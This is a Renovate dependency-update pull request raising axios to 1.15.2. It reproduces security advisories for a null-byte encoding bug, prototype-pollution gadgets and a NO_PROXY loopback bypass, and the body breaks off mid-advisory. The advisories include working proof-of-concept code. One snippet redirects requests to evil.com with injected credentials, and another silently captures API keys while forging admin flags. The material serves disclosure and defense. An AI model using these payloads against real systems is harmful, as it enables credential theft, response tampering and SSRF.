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chore(deps): update dependency axios to v1.15.2 [security]#540

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@renovate renovate Bot commented May 5, 2026

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.15.0 → 1.15.2 age confidence

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

CVE-2026-42040 / GHSA-xhjh-pmcv-23jw

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams
Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21

CWE
  • CWE-626: Null Byte Interaction Error (Poison Null Byte)
  • CWE-116: Improper Encoding or Escaping of Output
CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric Value Justification
Attack Vector Network Attacker controls input parameters remotely
Attack Complexity High Standard axios request flow (buildURL) uses its own encode function which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation
Privileges Required None No authentication needed
User Interaction None No user interaction required
Scope Unchanged Impact limited to HTTP request URL
Confidentiality None No confidentiality impact
Integrity Low Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability None No availability impact
Vulnerable Code

File: lib/helpers/AxiosURLSearchParams.js, lines 13-26

function encode(str) {
  const charMap = {
    '!': '%21',     // literal → encoded (SAFE direction)
    "'": '%27',     // literal → encoded (SAFE direction)
    '(': '%28',     // literal → encoded (SAFE direction)
    ')': '%29',     // literal → encoded (SAFE direction)
    '~': '%7E',     // literal → encoded (SAFE direction)
    '%20': '+',     // standard transformation (SAFE)
    '%00': '\x00',  // LINE 21: encoded → raw null byte (UNSAFE direction!)
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
    return charMap[match];
  });
}
Why the Standard Flow Is NOT Affected
// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's
const _encode = (options && options.encode) || encode;  // buildURL's encode

// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams
new AxiosURLSearchParams(params, _options).toString(_encode);  // external encoder used

// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used
const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;
//                                                                              ^^^^^^
//                                           internal encode passed as 2nd arg but only used if
//                                           the external encoder explicitly delegates to it
Proof of Concept
import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';
import buildURL from './lib/helpers/buildURL.js';

// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)
const params = new AxiosURLSearchParams({ file: 'test\x00.txt' });
const result = params.toString();  // NO encoder → uses internal encode with charMap
console.log('Direct toString():', JSON.stringify(result));
// Output: "file=test\u0000.txt" (contains raw null byte)
console.log('Hex:', Buffer.from(result).toString('hex'));
// Output: 66696c653d74657374002e747874  (00 = null byte)

// Test 2: Via buildURL (NOT vulnerable — standard axios flow)
const url = buildURL('http://example.com/api', { file: 'test\x00.txt' });
console.log('Via buildURL:', url);
// Output: http://example.com/api?file=test%00.txt  (%00 preserved safely)
Verified PoC Output
Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874

Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true
Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

  • Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
  • Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
  • Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

function encode(str) {
  const charMap = {
    '!': '%21',
    "'": '%27',
    '(': '%28',
    ')': '%29',
    '~': '%7E',
    '%20': '+',
    // REMOVED: '%00': '\x00'
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {
    //                                           ^^^^ removed |%00
    return charMap[match];
  });
}
Resources
Timeline
Date Event
2026-04-15 Vulnerability discovered during source code audit
2026-04-16 Report revised: documented standard-flow limitation, corrected CVSS
TBD Report submitted to vendor via GitHub Security Advisory

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

CVE-2026-42264 / GHSA-q8qp-cvcw-x6jj

More information

Details

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties
  1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
  2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
  3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
  4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
  5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.
Proof of Concept
const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
Impact
  • Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
  • Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
  • SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
  • Code execution: Attacker-supplied functions execute during HTTP redirects.
  • Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.
Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

CVE-2026-42044 / GHSA-3w6x-2g7m-8v23

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver
Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

  1. No constraints — the reviver can return any value (no "must return true" requirement)
  2. Selective modification — individual JSON keys can be changed while others remain untouched
  3. Invisible — the response structure and most values look completely normal
  4. Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE
  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
  • CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric Value Justification
Attack Vector Network PP is triggered remotely via any vulnerable dependency
Attack Complexity Low Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required None No authentication needed
User Interaction None No user interaction required
Scope Unchanged Within the application process
Confidentiality High The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured
Integrity High Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values
Availability None No crash, no error — the attack is entirely silent
Comparison with All Known Axios PP Gadgets
Factor GHSA-fvcv-3m26-pcqx (Header Injection) transformResponse proxy (MITM) parseReviver (This)
PP target Object.prototype['header'] Object.prototype.transformResponse Object.prototype.proxy Object.prototype.parseReviver
Fixed by 1.15.0? Yes No No No
Constraints N/A (fixed) Must return true None None
Data modification Header injection only Response replaced with true Full MITM Selective per-key modification
Stealth Request anomaly visible Response becomes true (obvious) Proxy visible in network Completely invisible
Data access Headers only this.auth + raw response All traffic Every JSON key-value pair
Validated? N/A assertOptions validates Not validated Not validated
In defaults? N/A Yes → goes through mergeConfig No → bypasses mergeConfig No → bypasses mergeConfig
Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis
The Attack Path
Object.prototype.parseReviver = function(key, value) { /* malicious */ }
         │
         ▼
  mergeConfig(defaults, userConfig)
         │
         │  parseReviver NOT in defaults → NOT iterated by mergeConfig
         │  parseReviver NOT in userConfig → NOT iterated by mergeConfig
         │  Merged config has NO own parseReviver property
         │
         ▼
  transformData.call(config, config.transformResponse, response)
         │
         │  Default transformResponse function runs (NOT overridden)
         │
         ▼
  defaults/index.js:124: JSON.parse(data, this.parseReviver)
         │
         │  this = config (merged config object, plain {})
         │  config.parseReviver → NOT own property → traverses prototype chain
         │  → finds Object.prototype.parseReviver → attacker's function!
         │
         ▼
  JSON.parse calls reviver for EVERY key-value pair
         │
         │  Attacker can: read original value, modify it, return anything
         │  No validation, no constraints, no assertOptions check
         │
         ▼
  Application receives surgically modified JSON response
Why parseReviver Bypasses ALL Existing Protections

  1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.

  2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.

  3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.

  4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File: lib/defaults/index.js, line 124

transformResponse: [
  function transformResponse(data) {
    // ... transitional checks ...
    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
      // ...
      try {
        return JSON.parse(data, this.parseReviver);
        //                      ^^^^^^^^^^^^^^^^^
        //                      this = config
        //                      config.parseReviver → prototype chain → attacker's function
      } catch (e) {
        // ...
      }
    }
    return data;
  },
],
Proof of Concept
import http from 'http';
import axios from './index.js';

// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({
    user: 'john',
    role: 'viewer',
    isAdmin: false,
    canDelete: false,
    balance: 100,
    permissions: ['read'],
    apiKey: 'sk-secret-internal-key',
  }));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;

// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}

// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
  // Silently capture all original values
  if (key && typeof value !== 'object') stolen[key] = value;
  // Surgically modify specific values
  if (key === 'isAdmin') return true;       // false → true
  if (key === 'role') return 'admin';       // viewer → admin
  if (key === 'canDelete') return true;     // false → true
  if (key === 'balance') return 999999;     // 100 → 999999
  return value;                              // everything else unchanged
};

// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}

console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}

delete Object.prototype.parseReviver;
server.close();
Verified PoC Output
[1] Normal request (before pollution):
    response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                     "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
    isAdmin: false
    role: viewer

[2] Prototype Pollution: Object.prototype.parseReviver
    Polluted with selective value modifier

[3] Same request (after pollution):
    response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
                     "balance":999999,"permissions":["read","write","delete","admin"],
                     "apiKey":"sk-secret-internal-key"}
    isAdmin: true (was: false)
    role: admin (was: viewer)
    canDelete: true (was: false)
    balance: 999999 (was: 100)

[4] Exfiltrated data (stolen silently):
    apiKey: sk-secret-internal-key
    All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                   "balance":100,"apiKey":"sk-secret-internal-key"}

[5] Why this bypasses all checks:
    parseReviver in defaults? NO
    parseReviver in assertOptions schema? NO
    parseReviver validated anywhere? NO
    Must return true? NO — can return ANY value
    Replaces entire transform? NO — works INSIDE default JSON.parse
Impact Analysis
1. Authorization / Privilege Escalation
// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user
2. Financial Manipulation
// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected
3. Security Control Bypass
// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account
4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible
  • Affects every Axios request that receives a JSON response
  • The response structure is intact — only specific values are changed
  • No errors, no crashes, no suspicious behavior
  • Application logs show normal-looking API responses with tampered values
Recommended Fix
Fix 1: Use hasOwnProperty check before using parseReviver
// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);
Fix 2: Use null-prototype config object
// In lib/core/mergeConfig.js
const config = Object.create(null);
Fix 3: Validate parseReviver type and source
// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
  Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);
Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report PP Target Code Location Fix Location Impact
axios_26 transformResponse mergeConfig.js:49 (defaultToConfig2) mergeConfig.js Credential theft, response replaced with true
axios_30 proxy http.js:670 (direct property access) http.js Full MITM, traffic interception
axios_31 (this) parseReviver defaults/index.js:124 (this.parseReviver) defaults/index.js Selective JSON value tampering + data exfiltration
Why These Are Distinct Vulnerabilities
  1. Different polluted properties: Each targets a different Object.prototype key.
  2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call.
  3. Different fix locations: Fixing mergeConfig.js (axios_26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios_30) does NOT fix this either. Each requires a separate patch.
  4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification.
Comprehensive Fix

While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.

Resources
Timeline
Date Event
2026-04-16 Vulnerability discovered during source code audit
2026-04-16 PoC developed and verified — selective response tampering confirmed
TBD Report submitted to vendor via GitHub Security Advisory

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0

CVE-2026-42043 / GHSA-pmwg-cvhr-8vh7

More information

Details

1. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.

Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.

The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.

The Incomplete Patch — This Finding
While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.

The patch introduced a hardcoded set of recognized loopback addresses:

// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);

However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.

As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.

Verification
This bypass has been independently verified on:

  • Axios version: 1.15.0 (latest patched release)
  • Node.js version: v22.16.0
  • OS: Kali Linux (rolling)

The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.

2. Deep-Dive: Technical Root Cause Analysis
2.1 Vulnerable File & Location

Field Detail
File lib/helpers/shouldBypassProxy.js
Primary Flaw isLoopback() — Line 1–3
Supporting Function shouldBypassProxy() — Line 59–110
Axios Version 1.15.0 (Latest Patched Release)

2.2 How Axios Routes HTTP Requests The Call Chain
When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:

// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  if (!proxy && proxy !== false) {
    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var
    if (proxyUrl) {
      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY
        proxy = new URL(proxyUrl);               // Step 3: Assign proxy
      }
    }
  }
}

shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.

2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)
Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:

Request URL → http://localhost./secret
NO_PROXY    → "localhost,127.0.0.1,::1"
Comparison:
  "localhost." === "localhost"   →  FALSE  →  Proxy used  ← BYPASS
  "[::1]"     === "::1"         →  FALSE  →  Proxy used  ← BYPASS

Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.

2.4 What the Patch Fixed (Axios 1.15.0)
The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:

01_axios_version_verification

Fix A normalizeNoProxyHost() (Lines 47–57)
Strips alternate representations before comparison:

const normalizeNoProxyHost = (hostname) => {
  if (!hostname) return hostname;
  // Remove IPv6 brackets: "[::1]" → "::1"
  if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
    hostname = hostname.slice(1, -1);
  }
  // Strip trailing FQDN dot: "localhost." → "localhost"
  return hostname.replace(/\.+$/, '');
};

Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)
Allows 127.0.0.1 and localhost to match each other interchangeably:

const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
    || (isLoopback(hostname) && isLoopback(entryHost));
//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//      If both sides are "loopback" → treat as match

Fix C Normalization Applied on Both Sides (Lines 81 & 90)

// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);

2.5 The Incomplete Patch Exact Root Cause
The fundamental flaw resides in Line 1:

// lib/helpers/shouldBypassProxy.js — Line 1  ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
//                                              ^^^^^^^^^^^
//                              Only ONE IPv4 loopback address is recognized.
//                              The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
//                                               ^^^^^^^^^
//                          Returns FALSE for any 127.x.x.x ≠ 127.0.0.1
02_vulnerable_code_loopback_addresses

*RFC 1122 §3.2.1.3 is unambiguous:

"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."

This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.

03_rfc1122_loopback_definition

2.6 Step-by-Step Bypass Execution Trace
Environment:

NO_PROXY   = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"

Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):

// Step 1 — Parse the request URL
parsed   = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2"    // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy  = "localhost,127.0.0.1,::1"   // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
//          No brackets → skip
//          No trailing dot → skip
//          Result: "127.0.0.2"  (unchanged)
// Step 4 — Iterate over NO_PROXY entries
//  Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost"                  → false
isLoopback("127.0.0.2")                      → false  ← Set.has() returns false
                                                          BYPASS starts here
//  Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1"                 → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
//  Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1"                        → false
isLoopback("127.0.0.2") && isLoopback("::1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
// Step 5 — Final return
shouldBypassProxy() → false
//  Axios proceeds to route the request through the configured proxy.
//  The attacker's proxy server receives the full request including headers
//  and any response from the internal service.

2.7 Why the Patch Design Is Flawed
The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).

Aspect Original Bug This Finding
What was wrong No normalization before comparison Incomplete loopback address set
Fix applied Added normalizeNoProxyHost() None set remains hardcoded
RFC compliance Violated RFC 1034 & RFC 3986 Violates RFC 1122 §3.2.1.3
Bypass method Alternate string representation Alternate valid loopback address
Impact NO_PROXY bypass → SSRF NO_PROXY bypass → SSRF (identical) 
**2.8 Total Exposed Address Space**
Protected by patch:    127.0.0.1          (1 address)
Unprotected loopback:  127.0.0.2
                       through
                       127.255.255.254    (16,777,213 addresses)

Real-world services that commonly bind to non-standard loopback addresses include:

  • Internal microservices and admin dashboards using dedicated loopback IPs
  • Development environments with multiple isolated service instances
  • Docker and container bridge network configurations
  • Test infrastructure allocating sequential loopback IPs across services

3. Comprehensive Attack Vector & Proof of Concept

3.1 Reproduction Steps

Step 1 — Create a fresh project directory

mkdir axios-bypass-test && cd axios-bypass-test

Step 2 — Initialize the project with the patched Axios version
Create package.json:

{
  "type": "module",
  "dependencies": {
    "axios": "1.15.0"
  }
}

Install dependencies:

npm install

Verify the installed version:

npm list axios

##### Expected output: axios@1.15.0

Step 3 — Create the PoC file (poc.js)

import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
  console.log('\n[!] PROXY HIT — Attacker proxy received request!');
  console.log(`    Method : ${req.method}`);
  console.log(`    URL    : ${req.url}`);
  console.log(`    Host   : ${req.headers.host}`);
  res.writeHead(200);
  res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY   = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
  console.log(`\n[*] Testing: ${url}`);
  try {
    const res = await axios.get(url, { timeout: 2000 });
    if (res.data === 'proxied') {
      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');
    } else {
      console.log('    Result → [DIRECT]   ← Safe, no proxy used');
    }
  } catch (err) {
    if (err.code === 'ECONNREFUSED') {
      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');
    }
  }
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
  // Section A: Cases fixed by the existing patch — expected to go DIRECT
  console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
  await test('http://localhost:9191/secret');
  await test('http://localhost.:9191/secret');
  await test('http://[::1]:9191/secret');
  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
  console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
  await test('http://127.0.0.2:9191/secret');
  await test('http://127.0.0.100:9191/secret');
  await test('http://127.1.2.3:9191/secret');
  process.exit(0);
}, 500);

Step 4 — Execute the PoC

node poc.js

3.2 Observed Output
The following output was captured during testing on Kali Linux with Axios 1.15.0:

=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://localhost.:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://[::1]:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.2:9191/secret
    Host   : 127.0.0.2:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.100:9191/secret
    Host   : 127.0.0.100:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.1.2.3:9191/secret
    Host   : 127.1.2.3:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED
05_poc_execution_bypass_confirmed

3.3 Analysis of Results
The output conclusively demonstrates the following:

Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.

